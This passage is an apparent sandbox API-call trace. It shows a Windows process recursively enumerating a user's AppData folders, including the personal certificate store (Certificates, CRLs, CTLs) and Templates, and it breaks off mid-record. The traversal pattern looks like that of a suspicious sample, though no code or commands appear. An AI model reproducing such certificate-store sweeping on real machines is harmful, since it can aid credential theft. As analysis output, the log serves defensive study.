lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0117.288] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="..", cAlternateFileName="")) returned 1 [0117.288] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc6328090, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc6328090, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="AppContainerUserCertRead", cAlternateFileName="APPCON~1")) returned 1 [0117.288] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0117.288] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="CRLs", cAlternateFileName="")) returned 1 [0117.288] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="CTLs", cAlternateFileName="")) returned 1 [0117.288] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="CTLs", cAlternateFileName="")) returned 0 [0117.288] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0117.288] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0117.289] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc6328090, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc6328090, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppContainerUserCertRead", cAlternateFileName="APPCON~1")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0117.289] GetProcessHeap () returned 0x1600000 [0117.289] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0117.289] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="Certificates" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0117.289] GetProcessHeap () returned 0x1600000 [0117.289] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16317f8 [0117.289] PathCombineW (in: pszDest=0x16317f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" [0117.289] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0117.289] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 0 [0117.289] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0117.289] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.290] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0117.290] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.290] GetProcessHeap () returned 0x1600000 [0117.290] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16317f8 | out: hHeap=0x1600000) returned 1 [0117.290] GetProcessHeap () returned 0x1600000 [0117.290] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0117.290] GetProcessHeap () returned 0x1600000 [0117.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e0e8 [0117.290] PathCombineW (in: pszDest=0x165e0e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="CRLs" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0117.290] GetProcessHeap () returned 0x1600000 [0117.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656ac0 [0117.290] PathCombineW (in: pszDest=0x1656ac0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" [0117.290] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.290] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 0 [0117.290] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.291] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.291] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.291] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0117.291] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.291] GetProcessHeap () returned 0x1600000 [0117.291] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656ac0 | out: hHeap=0x1600000) returned 1 [0117.291] GetProcessHeap () returned 0x1600000 [0117.291] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e0e8 | out: hHeap=0x1600000) returned 1 [0117.291] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0117.291] GetProcessHeap () returned 0x1600000 [0117.291] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e5e8 [0117.291] PathCombineW (in: pszDest=0x165e5e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="CTLs" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0117.291] GetProcessHeap () returned 0x1600000 [0117.291] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656778 [0117.291] PathCombineW (in: pszDest=0x1656778, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" [0117.291] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.291] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 0 [0117.292] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.292] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.292] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0117.292] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.292] GetProcessHeap () returned 0x1600000 [0117.292] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656778 | out: hHeap=0x1600000) returned 1 [0117.292] GetProcessHeap () returned 0x1600000 [0117.292] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e5e8 | out: hHeap=0x1600000) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0 [0117.292] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0117.292] GetProcessHeap () returned 0x1600000 [0117.292] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e048 | out: hHeap=0x1600000) returned 1 [0117.292] GetProcessHeap () returned 0x1600000 [0117.292] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b740 | out: hHeap=0x1600000) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="My", cAlternateFileName="")) returned 0 [0117.292] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.293] GetProcessHeap () returned 0x1600000 [0117.293] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bef8 | out: hHeap=0x1600000) returned 1 [0117.293] GetProcessHeap () returned 0x1600000 [0117.293] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633138 | out: hHeap=0x1600000) returned 1 [0117.293] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0117.293] GetProcessHeap () returned 0x1600000 [0117.293] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163ff80 [0117.293] PathCombineW (in: pszDest=0x163ff80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Templates" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates" [0117.293] GetProcessHeap () returned 0x1600000 [0117.293] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x1668570 [0117.293] PathCombineW (in: pszDest=0x1668570, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\*" [0117.293] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.295] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, 